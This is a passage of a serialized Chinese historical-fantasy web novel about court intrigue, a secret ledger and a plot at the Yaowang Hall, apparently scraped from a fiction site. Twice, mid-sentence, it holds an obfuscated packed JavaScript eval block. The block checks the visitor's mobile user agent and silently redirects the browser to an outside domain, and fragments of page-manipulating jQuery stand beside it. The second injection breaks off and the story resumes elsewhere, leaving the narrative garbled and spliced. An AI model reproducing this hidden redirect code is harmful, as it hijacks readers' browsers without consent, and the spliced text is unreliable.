身体的反应总是比脑子快，李安国在看到黄清落的时候已经弹起身来，本想着用双手撑住床，却忘了自己的手臂刚刚被重伤，使不出一点力。“咚”的一声又倒了回去。 黄清落也是反应快，看到李安国起身就想去搀扶，奈何对方是一点力气都使不出来，黄清落根本扶不住这样一个精壮的男子，就这样被李安国带着一同倒了下去，甚至手还被重重的压住了。 至于李安国才开始只是被人重压了一下，之前的被周明启肘击时候的伤有些轻微的疼痛，但是疼痛过后他才发现真正问题所在。 软玉入怀，君子也难坐怀不乱。 “你好重，快翻个身，我的手要断了。” “啊，嗯。” 终于将双手从这重压下解救出来，再看两人面上都带上绯红。黄清落那纯属是因为被李安国压痛，至于李安国这脸色是因为什么呢。 “嗯，你醒了，渴吗？饿吗？伤口痛吗？需要叫医生吗？”黄清落看着李安国醒了过来也松了一口气。 “不必，你帮我把被子盖上就好了……”李安国对于他现在光着膀子的境况非常不满，但是奈何这里能帮他的只有黄清落。 “哦，好。” “你怎么在这？”看着房间中最尴尬的情景被化解了，李安国也放松了不少，至于其他的问题，反正现在都看不到，那就不是问题。(o^^o) “妖雪她们都有事，我和家丁一起送你过来的。” “我的意思是为什么没有家丁？” “哦，他们回去报信了，妖雪他们应该马上就来了。” 李安国听到这也算是松了口气，但是他隐约觉得今天黄清落来陪他这事怎么像是有人在暗中安排，按理来说不应该有人知道才对，不过这样的安排似乎也挺好。 眼见房间中的气氛又要陷入冰点，黄清落急忙开口道：“刚刚大夫说了，李公子的伤并未伤及要害，只需要静养即可恢复。你现在有些发热，要多喝水，我……啊！” “小心！” 黄清落正想说转身去给李安国倒水，便和身后的人撞了一个满怀。 “清落，你小心点。没受伤吧，你的手怎么了，怎么那么红？”被撞的正是赶过来的萧妖雪。 “呃，没事，哈哈哈，没事。”黄清落也不知怎么的急忙忙收回了被萧妖雪拉住的手，藏到了身后，不过这也让躺在床上的李安国看到了，这青葱白玉指确实有些红，也不知道有没有受伤。 “清落，辛苦你了，山庄那边的事情已经解决了，我在旁边客栈留了房间，你先去休息一下吧。” 送走了黄清落，萧妖雪安排人给李安国又打整了一番，刚刚进来前，就听大夫说李安国的伤处处避开要害。她就可以断定，周明启就是故意逼她出手，才这样做的。不过好在这位皇子做事还有些分寸，没有把局面弄得如此难看。 而这位五皇子，这样无理取闹，合理的理由只有一个——他在试探自己的身份。 “妖雪，不好意思，本来这次说带你们出来好好散散心，没想到还给你们添了这么多麻烦。” “哥，你说得哪里话。这美景就在这又不会跑，你好好养伤，等你下次休沐，我们再来。我就不信那周明启还会死皮赖脸的跟着来。” “你呀。”李安国显然还是被萧妖雪这话安慰到了。心中却想如果这个妹妹一直都在就好了。 终于悬月西沉，却不见旭日东升，沉沉的乌云，遮住了天空，但是却不能挡住他们回程的脚步。 这次李安国再也没有理由独自骑马了，萧妖雪和黄清落一车照顾李安国。袁梅袁墨一车照顾宿醉的赵江河。 “赵兄，你昨晚到底是喝了多少，怎么醉成这样？”袁墨看着头昏脑胀的赵江河百思不得其解。 “呕～，我就我就，呕～” “他就喝了一口。”看着赵江河已经话都说不清楚了，袁梅便替他说了。 “一口，就这样？”虽然赵江河现在看起来很惨，但是袁墨还是忍不住笑出了声。 只有袁梅内心不禁有些内疚，给赵江河轻轻的拍拍了背让他顺顺气。还不忘吩咐车夫慢些稳些。 就这样一群昨日的活力青年，今日的病秧子回到了京都，各自回家养病去了。 萧妖雪本打算回去休息休息，可是刚坐下，便收到潇湘阁传来的消息，让她过去一趟。 看着杯中还没有喝了一半的茶，萧妖雪也是长叹一口，一口干了这茶，直奔潇湘阁而去。 此时天空已经飘起了蒙蒙细雨，遮掩着一片朦胧。虽是白日，但是却昏暗得很，不少店家都亮起了灯笼，潇湘阁也如同晚上一般亮了灯。 沈轻离已经在隔间中等候，见萧妖雪到来，也是急忙行礼，又上前帮她推去挡雨的外套。 “什么事这么着急？” “少阁主，你看看这个吧。”说着沈轻离递过去一本册子。 这册子看起来有些年代，翻开一股霉味扑面而来，册子前半是一篇名录，看起来应当是当年鬼月成员的名录，后半部分这样一看应当是一本账本，只是这其中所涉及到的金额，令人汗颜。 而这其中获利最多的人，却是一个萧妖雪看着熟悉了不能再熟悉的人——李治八万两白银。这个数额确实足够一个平平无奇的小官一步登天成为当朝宰相了。 萧妖雪觉得脑袋晕晕，虽然之前已经知道了当年自己遭遇的那场刺杀幕后黑手正是李治，那时她都觉得一切已经过去，不必现在算账，但是这件事，她确实需要一些解释。更何况萧妖雪知道，这暗中还有袁墨袁梅正在谋划着一场复仇，她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15832694|171320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 必须要有一个万全的准备。 看着萧妖雪愈发苍白的脸色，沈轻离也忍不住安慰道：“少阁主，这东西虽然是从崔伦府中找出来的，但是是真是假还不能知。毕竟崔伦最后一直在说还有两个，如果按照少阁主你之前的猜测，这两人是袁家兄妹的话，这本名册并没有他们的名字。” “不错，轻离你说的有道理，但是恐怕李治从中获利的事情，并非空穴来风，已经有不少证据指向了个事情。” “那你？” “放心我自有办法解决，一定不会连累潇湘阁。” “少阁主，我们永远是你的后盾。” “谢谢你，轻离。”萧妖雪虽然知道一旦东窗事发，自己不能全身而退的话，潇湘阁一定会把自己当作弃子，但是现在有了沈轻离的安慰，她的心情还是会好一些。 “对了少阁主，我这还有一件事要向你禀报。” “你说。” “我们收到了一封药王殿的求救信。” “求救信？写了什么？” “只有一个救字，但是这段时间药山潇湘阁传回来的消息却是药王殿一切正常。” 这显然就是为了之后的药师诞辰准备的，这平静的水面下暗流涌动，但是现在具体这些人要干嘛，萧妖雪还是看不太明白。 “好，轻离，药王殿那边要你多留心了。对了连同那附近的守军的情况也多看看。” “好，其余的一些消息我都给你整理好了，少阁主是要在这看还是带回去。” “我在这看看就好了，轻离你帮我拿壶茶。” “得嘞，少阁主。” “以后叫我妖雪就好了，不要叫少阁主。” 萧妖雪显然对于这个称呼有些不习惯，好在沈轻离不是什么拘泥小节的人。答应一声，便留了萧妖雪独自一人在房中。 这一看便是大半天过去，萧妖雪也把这些卷宗看得七七八八，最近发生的事情不少，其中一些隐隐有些联系，其中大多数都指向了药师诞辰，如今时节将近，过不了多久萧妖雪就会收到邀请了。 至于其他的还有零星几件与阵法有关，萧妖雪一时之间并没有放在心上。 离了潇湘阁，时辰不算晚，兴许是因为阴天的原因，天已经完全黑了。街边的不少食肆已经坐满了人。今日李安国身上带伤，李府的饭菜定然清淡，所以萧妖雪也打消了回去吃的念头。 这时街边一家冒着热气的面摊引起了她的注意，走上前去，这老板竟然也是从西域过来的，这不由得勾起了萧妖雪在胡笳城同周明理一起吃面的回忆。 索性就在这摊子上点了一碗一模一样的。可是入口的味道却与当时大相径庭，好在口味不错，萧妖雪也是吃得干干净净。 临了萧妖雪不忘问了老板一嘴是西域哪里人，果然意料之中并非胡笳城。 都说春雨贵似油，此时雨已经停了，青石板上的积水倒影着街边的灯火，仿佛在那之下是另一个京都，一个无声的京都，一切的一切只能靠猜测。 萧云雁小记： 萧云雁和林梦刚刚在糖水坐下，就听到旁边桌的几个食客在热火朝天的说着什么。明明是家糖水铺子，他们激动的好像喝了二两一般。 “你们听说了没，前两天将军阁走了一个人。” “胡笳城那个？” “是呀，好像叫胡铭，听说今天已经出城了，好多人都看到了。” “对对，背着大包小包的，看来这将军阁的确不错，人都不干了，还给这么多东西。” 这些话萧云雁听到了，林梦当然也听到了。 “呸，虚情假意的东西。”出乎萧云雁预料，这林梦看着大家闺秀，打架骂人是一件不拉 “林姑娘？这是怎么说？” “那个单骁就不是什么好东西，他弄这将军阁就是利用江湖势力搭建他的朝堂，他以后不做皇帝就是做江湖盟主。他能安什么好心。听说之前好几起灭门案都和他们有关。” 听到这萧云雁的不由得皱了眉头，如果按之前周钦德所说的武清的遭遇。 那么胡铭这次恐怕也是凶多吉少，但是如果借助此次事情，或许是一个重要的突破口。 萧云雁顾不上碗中的糖水没喝几口，便起身匆匆告别。 却不料林梦，拦住了她“云雁，你该不会是要去追胡铭吧，我同你一起吧。” “林姑娘，你……” “你不用担心危险，我会保护我自己的。而且你现在也是将军阁的人，哪有这么容易离开京都。” “你？有办法？” “不错，但是你必须和我一起去。” “你要怎么做？” “我要去胡笳城游玩，需要一个保镖，将军阁人才济济自然是最佳人选。我本来是女儿身，带着大汉去也不方便，自然需要一个女侠一同。今日你我有缘相识，既然已经是朋友，自然就是你同我一道前去了。” “这……”这次换萧云雁有些局促了，没想到这姑娘行动力这么强悍。 “没什么好犹豫的，我待会就去找他们要人，我们明天就出发。” “那好吧。” 46. 药师诞辰 之后几日，周明启却如同袁梅所说给李安国送来不少名药，又请了好几个名医，李安国的伤势本就不重，在这样精心照顾下也是突飞猛进的恢复。 周围人都为他的康复高兴，除了他自己有一丝失落。毕竟之前卧病在床的时候，黄清落几乎每天都会过来探望，虽然李安国也不清楚她是来真心来探病，还是以此为借口来找萧妖雪唠嗑的，但是心中看见她总归是高兴的。 如今身体已经痊愈，他自然没有继续窝在家里的理由，前不久刚刚升任了兵马司副职，现在手头也是一大堆事情要办。 可是到了兵马司他得到的第一个消息并不是有多少工作需要他来处理，而是一道圣谕。 圣人竟然命他身体恢复后，前去药山营指导。 这段时间京都中确实有不少有能力官员前往各地指导工作，但是李安国现在年纪轻轻，坐上兵马司副职也不过几月，竟然就有了指导的职责，这一去别说指导了，就连服众都困难。 但是天命难违，李安国还不得不去，于是便出现了今日早晨刚去兵马司点了卯，下午便又回家中收拾的情况。 萧妖雪自从得知药王殿那边情况不明朗，便一直让人留意着那边的动向，如今兄长突然被任命前往药山指导，这立刻引起了萧妖雪的警觉。 药山营是距离药王殿最近的兵营，但是虽说是最近，二者中间却被药王江给隔开，如今已经进入丰水期，药王江上不少的桥梁已经不能通行。从药山营赶到药王殿足足需要三日的日程，若是药王殿真的有异状，定然是药山营出兵。但是三日时间无论什么事都已经尘埃落定了。 而作为军出了什么事定然都要承担责任，李安国作为指导责无旁贷。 与此同时潇湘阁又送来一则情报，消息是却并非来自药王殿而是从毒谷传来的。 传消息的鸟雀每日回家都会路过毒谷附近的一段山路，她只说觉得最近毒谷的人少了不少。此事平日里倒是无人在意，但是此时药王殿的情况并不明朗，而毒谷向来与药王殿针锋相对，这个变故就不容小觑。 李安国回到李府后，萧妖雪便同他说了最近了解到的情况，本意是希望他继续借伤势之故推了这次的差事，可是奈何这段时间周明启派来的大夫太多，他们实在没有办法遮掩。 难道这火坑就一定要这样跳吗？而这其中最关键的事情，便是那三日的路程，若是可以预判提前出发，朝廷这边却没有一个好的交代理由。如果有一种方法能让这药山营的军队一夜之间到了药王殿就好了。 “阵法！” “阵法！”萧妖雪和李安国几乎是同时想到这个办法，当年薄凉宗有一个非常有名的阵法，那便是缩地千里，当年薄凉宗叛乱，便是利用了这个阵法，足足多活了一年之久。 可是也正是因为如此，这个缩地千里已经在薄凉宗被镇压后，于御前焚毁了。也不知道现在有没有什么可以替代的。 两人急忙找到了丁游，奈何这个孩子虽然是薄凉宗的后裔，但是对于薄凉宗的阵法确实知之甚少，更别说这样的大阵。他会的阵法，还不及如今街上那些变戏法的有用。 “公子，小姐，你们所说的阵法我也只是听说。当年父亲指教了我一些画阵法的方法，但是阵法却一个没有教过我。不过当年父亲在老爷府上住了不少时间，说不好会有图谱留在府上，你们要不要问问老爷。” “妖雪，你怎么看？”李安国对于这些更是一窍不通，只能寄希望于萧妖雪。 “兄长，你去问问父亲吧，或许他真的有什么。丁游是薄凉宗最后的血脉了，丁无名应当不愿意薄凉宗的绝学就这样断了。” “好。”李安国答应下来，便向着李治的书房去了，可是走了几步却不见萧妖雪跟上，再回头却见到她向着大门去了。 “妖雪？你去哪？不一起吗？” “呃，我就不去，我还有些事，你一个人去应该就行了，不行的话让丁游陪你。”说罢离开的脚步更加加快了。 李安国心中有些疑惑，萧妖雪自从之前出了趟远门回来，似乎和父亲就有了些隔阂。之前她才到府中的时候与父亲相处还算不错呀。 可是最近李安国只觉得好像她总是躲着父亲一般，父亲有时有意亲近她，她却总是借故离开，而这时父亲的脸上似乎总有些失落，好似还有些愧疚？ 可是现在时间不等人，这些感情上的来不及让李安国多想，这药山营的人就如同一个催命符一样的跟着他，甚至是跟着李家。 叫上了丁游急忙忙就去了李治的书房。 李治其实也听说了药山营的事情，可是他却不知道药王殿也要出事了，听了李安国讲述后，却将二人留在书房，自己转到了内室，翻翻找找好半天，终于拿着一本泛黄的牛皮纸书出来。 书却没有交到李安国手上，而是交给了丁游。 “小游，这是你父亲留下的，你父亲说他已经把画阵的方法教给你了，你在阵法方面的天资卓群。这个阵法你应该很快就能掌握了。” 丁游翻开那书第一页，便像是拿到了一块炙热的烙铁一样，一把就把书丢到了地上。 “老爷，这是！” 李治对于他的失礼却并不在意，而是俯身将书本捡起，拍了拍上面的灰尘又递给了丁游，仿佛是什么珍贵的物件一般。 “不错，最后一本。” “可是？”丁游似乎还有一丝犹豫。 “物件从来没有错，错的是人。” 这话似乎安慰到了丁游，他终于是下定了决心再次翻开了那本阵法。 “小游，你先回去好好的研究，明日你就同安国一起出发。我猜测他们恐怕是想在药师诞辰上动手，时间不多了。” “是老爷。” 丁游离开后，李治便问出了心中所想。“诶，安国，妖雪去哪了？怎么没和你们一起过来。” 果然李治又问起了萧妖雪，李安国有些不知道该怎么办，他可明显的感觉到萧妖雪就是在躲李治。但是他现在也找出什么替她开脱的理由，也便实话实说。 “来的时候，她说有事出去了。” “唉，那好吧。” “父亲。” “嗯？” “没什么……”李安国本想想问问这其中到底是发生了什么。但是总觉得这样会戳到父亲的痛处，还是把到嘴边的话给咽回去了。 可是知子莫若父。 “安国，你是不是想问我，我和妖雪怎么了？” “父亲……”心思被点破，李安国有些后悔，刚刚就不应该那样欲言又止。李治何等人，自己哪里瞒得了他。 “我以前做了件对不起她的事，现在她应当已经知道了，她恐怕需要一点时间好好想想以后要怎么和我相处吧。” 看着李治的这样伤心的神情，李安国突然有些心疼，明明她只是一个认回来女儿，甚至连滴血认亲都没有，父亲为何要这样为她伤神。 “父亲，她不过是认回来的一个女儿，是真是假都还不好说，你这又是何必呢？” 李安国本以为这是大家共有想法，却不料还不等李安国反应，李治就给了他一个巴掌。 李安国和李无忧不同，他在家中得到喜爱，不是因为年纪小，而是因为成熟稳重识大体。 而这还是李治第一次对他这么生气，李安国顿时脑袋懵了。 似乎李治在打完李安国后，看着他那不明所以的眼神，那骤然升起的怒火也平息了不少，语气终于也缓和了不少。 “安国，以后不要再说这样的话了，你只要记住，以后无论发生什么，妖雪都是你的亲妹妹，而你都是他的兄长。这不需要任何东西来证明。就算有一天她会杀了我，她也不会害你和无忧。可记住了？” “是，父亲”虽然李安国现在对于萧妖雪身份又多了一层怀疑，但是父亲已经这么说他这么多年一直相信父亲，这次他也还是选择信任。 “好了，时辰不早了，你明天还要出发，早些回去休息吧。” 李安国离开后，李治却迟迟没有拿起手边的公务，而是呆呆地看着窗外，似乎是想透过这重重院墙看清那个身影。 口中也嘟囔着：“小婉，是爹爹对不起你。” 至于萧妖雪这次借故离开，她是真的有事，而且此事非常着急。 萧妖雪离开李府后，便去了刑案司。 这些日子刑案司结了崔伦的案子，京都太平，他们也偷得半日闲。关了大门，不少小吏在院中摆起了牌桌，消遣消遣。 听到大门吱呀一声打开的声音，不少人都吓了一跳也不管这局牌怎么样，一把就把桌上的牌搂到怀里藏了起来。 萧妖雪看着这院中一片紧张的神色，也是有些不好意思笑道：“各位各位，你们继续，我这没什么大事。” 众人看到是萧妖雪也松了口气，虽然这位大小姐不常来刑案司，但是大家都知道，袁大人可是李府的门客，这大小姐来多半也是找他的，那这确实与他们无关。 不错萧妖雪这次来就是来找袁墨，进了他的书房，袁墨还在做崔伦案最后的整理，大概就是关于崔伦府邸上搜家搜出来的一些物件名单的规整。 看到萧妖雪进来他也是有些意外，毕竟之前他们两之前有什么事不是通过袁梅就是通过潇湘阁，这萧妖雪找上门的事情还是第一次。 “妖雪，这是有什么急事？” “不错，非常急。” 听到这话袁墨也吓了一跳，急忙给她拿了张椅子坐下，自己也放下了手里，认真听她说。 “袁大人，我想要你现在以刑案司巡查兵营惟有，下一封急件给药山营，让他们好好的自查一遍。” “可以倒是可以，之前刑案司确实是说要对军营进行督查。但是这样的巡查不过是意思意思，这有何用？” “袁大人，应当有线人在药山营吧。” “……，不愧是潇湘阁。” “你让你的人，观察观察，哪些是积极响应你这次巡查的。” “你这是要给你哥结党营私？”袁墨算是听懂了，萧妖雪的重点根本不是要查军营里问题，而是要查查这军营哪些人是能为李安国所用。 袁墨现在怎么说也是李治的门客，药山营应该已经接到了李安国要去的消息，这会他突然要求他们自查，药山营对于他的态度自然和对李安国是一样。 等李安国去了哪些人能用，哪些人不能用便一目了然。 “兄长这次去药山营和药王殿之后不久的药师诞辰脱不了关系，届时京都的女眷都会前药王殿，如果那会出了事情，后果不堪设想。而且袁墨，如果我的猜测没错的话，袁梅这次应当也会去。” “好，我明白。我这就写，可是药师诞辰没几天了，小梅已经收到邀请了，这还来得及吗？” “来得及，一定来得及。”其实萧妖雪心中也有些捉摸不定，且不说这样巡检可以查出多少他们可用之人，这些人愿意跟着李安国去冒险的又能有几个。 看来药师殿这边也还要再做准备。 袁墨倒是配合，当着萧妖雪的面就已经写好了书信派人加急送了出去，不出意外应该可以在李安国前三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“三殿下怎么上京都来了？”萧妖雪走近，看着眼前的周明理，似乎比之前在胡笳城要瘦了不少，眼圈周围也有因为没有休息好留下的暗沉，看起来气色也不行，不过精神状态不错。 “咳咳，父皇本来叫我参加春神祭祀，没想到我这一路大大小小遇上了五场风沙，就给耽搁了，现在才到。萧姑娘最近在京都过得怎样？” “承蒙殿下挂念，说实话……”听着萧妖雪这语气，周明理难免心头一紧。“我过得可好了！”好在这只是一个玩笑的停顿。 不过周明理的神情变化也全部都落入了萧妖雪眼中，显然她对这个效果很满意。 “殿下这是刚到京都吧，怎么会找到这里来？” 这问题算是问到了周明理的痛处了。 “呃……” “你是要去潇湘阁？不错不错，京都潇湘阁确实值得一去，这个比胡笳城大太多。殿下远道而来，今晚我做东请殿下好好吃一顿。” 二人这次见面身上已经背着这御赐的婚姻，相处起来自然也轻松了不少。 周明理也听出了这姑娘言语中的调笑之意，心中是心满意足，但是嘴上却分毫不让：“我来这不是来找姑娘你吗？你看这依赖就找到了。饭就不吃了，心中人已经见到我要自然要去见想见我之人了。” “殿下当真不吃？过了这几日我可都不在京都了。” “哦？这是有何要事？” “药师寿辰要开始了，我得出发了。”听到这话，周明理眼珠一转似乎是想到了什么绝好的办法。 “这样呀，放心还有机会的。” 见周明理如此不在意，萧妖雪不想深究了，就此别过各行各路。 丁游小记： 丁游今日的了那缩地千里的阵法，回到房间便挑灯夜读，脑海中不断浮现出父亲之前教授自己的画阵方法。 这缩地千里用的并不是子母阵，即母阵在出发处，而子阵的位置决定目的地，这样的阵法简单易行。 这个阵法是个单阵，目的地会在哪，完全取决于画阵之人，所以难度大大增加。 丁游先用屋内的一些花瓶做了测试，发现最后的位置都会与预期有些偏差。 这样的偏差看似是小事，但是一个房间多小，若是放在这广阔的山川湖海，拿着偏差可就太可怕了。 眼见天空已经开始泛白，丁游却连控制这样死物在这狭小的空间中都做不到，难免生了一些气馁的情绪。 可是气归气，眼睛是一点都睁不开了，就在他想着再画一个阵的时候，竟然就这样头一倒的睡着了。 睡梦中丁游看到了父亲了，父亲满脸失望，但是嘴却一张一闭在说着什么。 丁游只觉得朦胧中有声音，但是却听不真切。他想在上前几步，却不料脚下踩空了，整个人就开始下落。 身下是万丈深渊，而他手中却不知何时已经握一根桃木枝，这根桃木枝丁游很熟悉，就是当年父亲常常拿来打自己的。 下落速度越来越快，也有不得丁游想那么多，他竟然用那桃木枝在身边画了一个缩地千里的阵法，就在阵法画完的一瞬间，他只觉得周身一轻，脚下一实，他就落在父亲对面。 而此时父亲脸上也没有刚刚的失望而是欣慰。紧接着就是一道亮光从他身后发出，越来越亮直到丁游眼睛有些刺痛，闭上再睁开之后才发现，自己还是在房中，刚刚的一切不过是一场梦。 清醒过来后，丁游急忙翻箱倒柜找到了那根桃木枝，再试了一次缩地千里分毫不差。 47. 药师诞辰2 最近京都城门总是格外热闹，若是有空闲在那呆上几个时辰，保准能看到不少京都豪门的马车。 就在几日前，药王殿的邀请已经发到了各大世家，今年这药师诞辰确实别具一格，凡是受邀前往的女眷就可以获得一颗白玉丸。 这白玉丸之前一直是京都的名贵药品，据说用后整个人焕然一新，样貌直接年轻十岁，之前在京都的拍卖行更是拍出了千两黄金的高价。 如今这白送的白玉丸，就算是京都豪绅也难免为之心动，故而今年接受药王殿请帖的人足足较往年多出了几十人。 但是药师诞辰的热潮已经是三天之前，毕竟在昨日这宫中又传出两则令人乍舌的消息。 其一同样与这药师诞辰有关，据说远道而来的三皇子周明理也将出席这次的药师诞辰为母亲祈福。周明理不同于在京都的两位皇子，这京都的大多数人都没有见过他。 但是江湖传言却说此人长相极其俊俏，融合了东梁人的厚实与西丹人的深邃，更有传言说他那双眼睛黑中透蓝，只需要看一眼便会深陷其中。 如今这位三殿下虽然已经有了婚约在身，但是听到他也会去药师诞辰，还是有不少女子慕名前往。 而这其二却是一则令朝野震荡的消息，五殿下周明启的终于是定了下来，而这女子却并非是那些朝臣默认的徐家千金徐菀露，而是朝中新贵袁墨的妹妹袁梅，而对于这事徐战却一直没有出面说什么。 据说此事是周明启主动向圣人提的，这女子也是他亲自选的。就在这桩婚事敲定后，京都之中很快就流传起他们二人的事迹。 什么江湖上相识，最终携手白头。 抑或是郎情妾意，琴瑟和鸣。 又或是英雄救美，以身相许这样荒谬的故事也不胫而走。 但是无论传闻多荒谬，当事人却没有下场解释的。 毕竟作为当事人袁梅听到这个消息的时候她已经坐在了前往药王殿的马车上，而这消息还是潇湘阁的鸟雀传给萧妖雪。 听这消息的时候车厢里坐着萧妖雪、袁梅和黄清落。 三个人脸上的表情各有各的精彩。且说黄清落，作为自从结识了萧妖雪和袁梅之后，她出门的机会就多了多，听着坊间故事的机会也多了多。 但是还是第一次听到了身旁这些朋友的传闻，这小嘴是张了好半天没合上。黄清落知道袁梅和赵江河有婚约在身，但是那都是陈年旧事，现在有个皇子放在面前，赵江河就算真的对袁梅有意思紧握那一只婚书也不过是蚍蜉撼树。 至于萧妖雪听到这个消息，与黄清落却截然不同，脸上原本带着的惬意的表情一扫而空，眉头不由自主的拧了起来。徐战是周明启的师傅，于情于理徐菀露才是周明启正妃最合适的人选。 现在这情况不知道是他们师徒二人谋划的什么对策还是周明启那日见了袁梅后脑子一热的冲动。 而袁梅作为当事人，听到这消息的震惊程度丝毫不亚于黄清落，但是萧妖雪也看得出她在震惊的同时也还是藏有一丝喜悦的。看来这事恐怕还真不是周明启一意孤行。 车厢内三种心情杂糅在一起，最先冷静下来却是当事人袁梅。袁梅自然看到萧妖雪脸上带着的淡淡的担心，这些天她们也一起经历这么多，更别说前几天在鹿坪丘，周明启那副态度，甚至还伤了李安国，现在萧妖雪对于这个事不紧张那是不可能的。 这让袁梅对于周明启和萧妖雪关系难免有些纠结。 “妖雪？你还好吗？”袁梅问道。 “我没事。”萧妖雪也知道这话的可信度不高，但是现在木已成舟，萧妖雪知道自己虽与袁梅是好友，但是这毕竟是她的终身大事。 “妖雪，我知道你担心周明启这是有什么目的的，虽然我早就与他相识，但是我也不敢说他这一步是完全没有目的，纯粹真的只是因为喜欢我，但是他已经将这事情告知圣人，圣人也点头同意了。虽不比你与三殿下的御赐婚姻，但是也不能轻易反悔了。” “袁梅，毕竟周明启这人我们还没有琢磨透，你之后……” “我会小心的，再说了我这去不就相当于给你做了卧底吗，这不更好。”袁梅还不等萧妖雪说完，便抢先说道。 “好。”现在再多的嘱咐都是多余，既已是伙伴，剩下的只会是默契和信任了。 黄清落在她们对周明启的动机进行分析的时候，她的脑袋里已经把之后袁梅的一生幻想了个遍。 终于是看到了说话的空档，黄清落急忙说道：“袁姐姐，你与五殿下是不是早就认识，你们该不会那个时候就已经互生情愫了吧？那你之后面对，赵大人的时候，是什么心情？” 提到赵江河，袁梅也有些不知所措。自从公主坟后，袁梅与赵江河接触也多了不少，她能感觉到这个赵江河虽然只是个闷头研究木头的呆子，但是待人的确真诚。但如今回想若真要说有真感情，也不过是朋友罢了。 “清落，我……” 袁梅话还没有说完，马车就停了下来，小厮过来掀起车帘，一股浓郁的药香便涌入了车厢之中。 “各位小姐，我们到了。” 这个令黄清落惦念的问题也不得不告于段落。 几人下车后，映入眼帘便是一尊药王鼎，单单是这鼎足就有一人之高，合抱之粗。立于药王殿前的广场尤为壮观。 只是现在这鼎已经不过药王殿的一个装饰罢了，据说真正的能炼出上好丹药的药王鼎不过一手可持，现在应该正所在百草塔之下的炼丹室中。 与萧妖雪一行人一同的还有不少富家小姐，都各自组了一小伙人，低低地讨论着什么。 萧妖雪和袁梅都是习武之人，这点距离，对于她们不是什么问题，毫不费力，就听清了旁边几人对话。 无非都是在说这白玉丸如何好，这三殿下何时到，不过有一段对话确实引起了萧妖雪的兴趣。 “你们听说了吗？这次不少大小姐出了钱去南园祭拜。” “南园？那不是挺远的吗？怎么还出钱去？” “听说呀那边新开了一炉，炼出来的丹药品质好了不少。所以出钱才能去，那个徐家大小姐徐菀露你们都听说了吧。她就是要去那边。” “我看也未必吧，那按你这么说，李家的千金萧妖雪不也在变吗？” “那能一样吗，这萧妖雪都不姓李，哪知道李相安的什么心，说不好……” 再接下去的话萧妖雪就完全没有兴趣再听了，虽然也会流入她的耳朵，但是她只当是嗡嗡的苍蝇在叫唤了。 “各位都是京都之中上的了台面的人，说这话难免有些掉身价了吧。”声音是个男子，要知道这药师诞辰受邀而来的大多是女子，药王殿的弟子在他们这些京都豪门面前都是唯唯诺诺，哪有人敢说这样的话。 此话一出，顿时引得众人纷纷回头。这男子在万花丛中确实夺目，一身墨色的行头，看起来老练深沉，但是手中却不是那画着山水的折扇，而是一把孔雀羽做成的扇子，让人一时之间看不透这人。 人群看到此人不禁纷纷议论起来，可是来人像是并没有注意到这群莺莺燕燕，而是径直向着人群中走去，看似云淡风轻，但却目标明确。 “萧姑娘，你们来得可有些慢了，现在去南园的报名都不甚几个了，你们快些过去看看。” 这情景，众人也有些看不懂，这样的一个竟然对这个宰相千金如此客气，难道是她家的门客？又或是这位千金养的面手？ “让三殿下费心了，只是我们来之前的确没有听说这南园之事，不然我定然快马加鞭赶回来。希望这会还来得及我们这就过去。” 三殿下！人群中再次爆出嗡嗡声，这就是传说中的三殿下，他们这么容易就见到了？那刚刚脑子闪过的那些念头算什么，算脑子天马行空吗？ “那走吧。” 眼见这周明理竟然没有半分要离开的意思，萧妖雪也有着疑惑。 “三殿下这是？” “我同你们一起过呗。” “三殿下若是这般无事，那便请吧。清落我的外套要被你抓掉了。” 众人这才注意到黄清落自从周明理过来之后，整个人便处于一个又惊喜又紧张的状态。 但是她的惊喜只有萧妖雪和袁梅真真切切地感受到了。 “给三殿下介绍一下吧，这位是刑案司副职袁墨的妹妹袁梅，这位是黄清落。” “早就听闻两位姑娘与我家妖雪情同手足，今日一见果然不一般。” “我家妖雪！”黄清落就这样轻轻地说了一句，下一秒萧妖雪就觉得她快要晕过去了，急忙扶住了她。 但是在听到周明理说这话的时候，萧妖雪的脸也忍不住飘上了绯红。 这样的变化自然也落入了周明理的眼底，那墨蓝色的眼睛笑意更盛。 不过周明理确实很有分寸，这话题点到为止，没有继续让各位心神荡漾。 反而转向一旁的袁梅道：“袁姑娘，我们是第一次见面，但是以后想必也是亲上加亲了，这样算我应该称呼你为弟妹。” “三殿下客气了。” 说话间几人也走到了这报名处，此时人群已经散去，只有几个小厮还在张罗。 “各位小姐，实在抱歉，这边报名已经结束了。虽说这北园不比南园，但是这边有三位长老亲自操持，保准你们这次终身难忘。” “这就满了？可还有其他办法？”周明理似乎很是诧异，毕竟他刚刚也不过过去了不到一炷香的时间。 “三殿下实在是没办法了，南园那边地方小，去的人不能再多了。” 但是这样失落的表情却并没有出现在这一行人的脸上。袁梅和黄清落自然是无所谓，毕竟这传说中的白玉丸于她们而言能有是幸事，没有也无所谓。 周明理却有些失落，自己是受邀前往了南园，本想着可以和萧妖雪一同前去，没想到这还说什么都不行，实在没办法了，只好暂别两地。 萧妖雪对于药王殿这样的操作虽然说心中有疑惑，但是还暂时看不出其中端倪。她只觉得刚刚这个说话的小厮身上的煞气有些重了，或许是因为这药王寿诞，来往的人太多了，他们不得不找些人来做这迎来送往的事务。 随着夜幕降临，在外面散步的人越来越少，取而代之的是虫鸣和树叶晃动的声音。百草塔中的灯火昼夜不息，还不时有烟气袅袅升起。 夜色是最好的伪装，但是也是最容易被撕开的遮羞布。 萧妖雪在天还没有全黑的时候，便在这谷内溜达，直到夜幕完全降临，她已经完全消失在了百草塔光芒能照到的区域。走进了药王殿后山的一条小路之上。 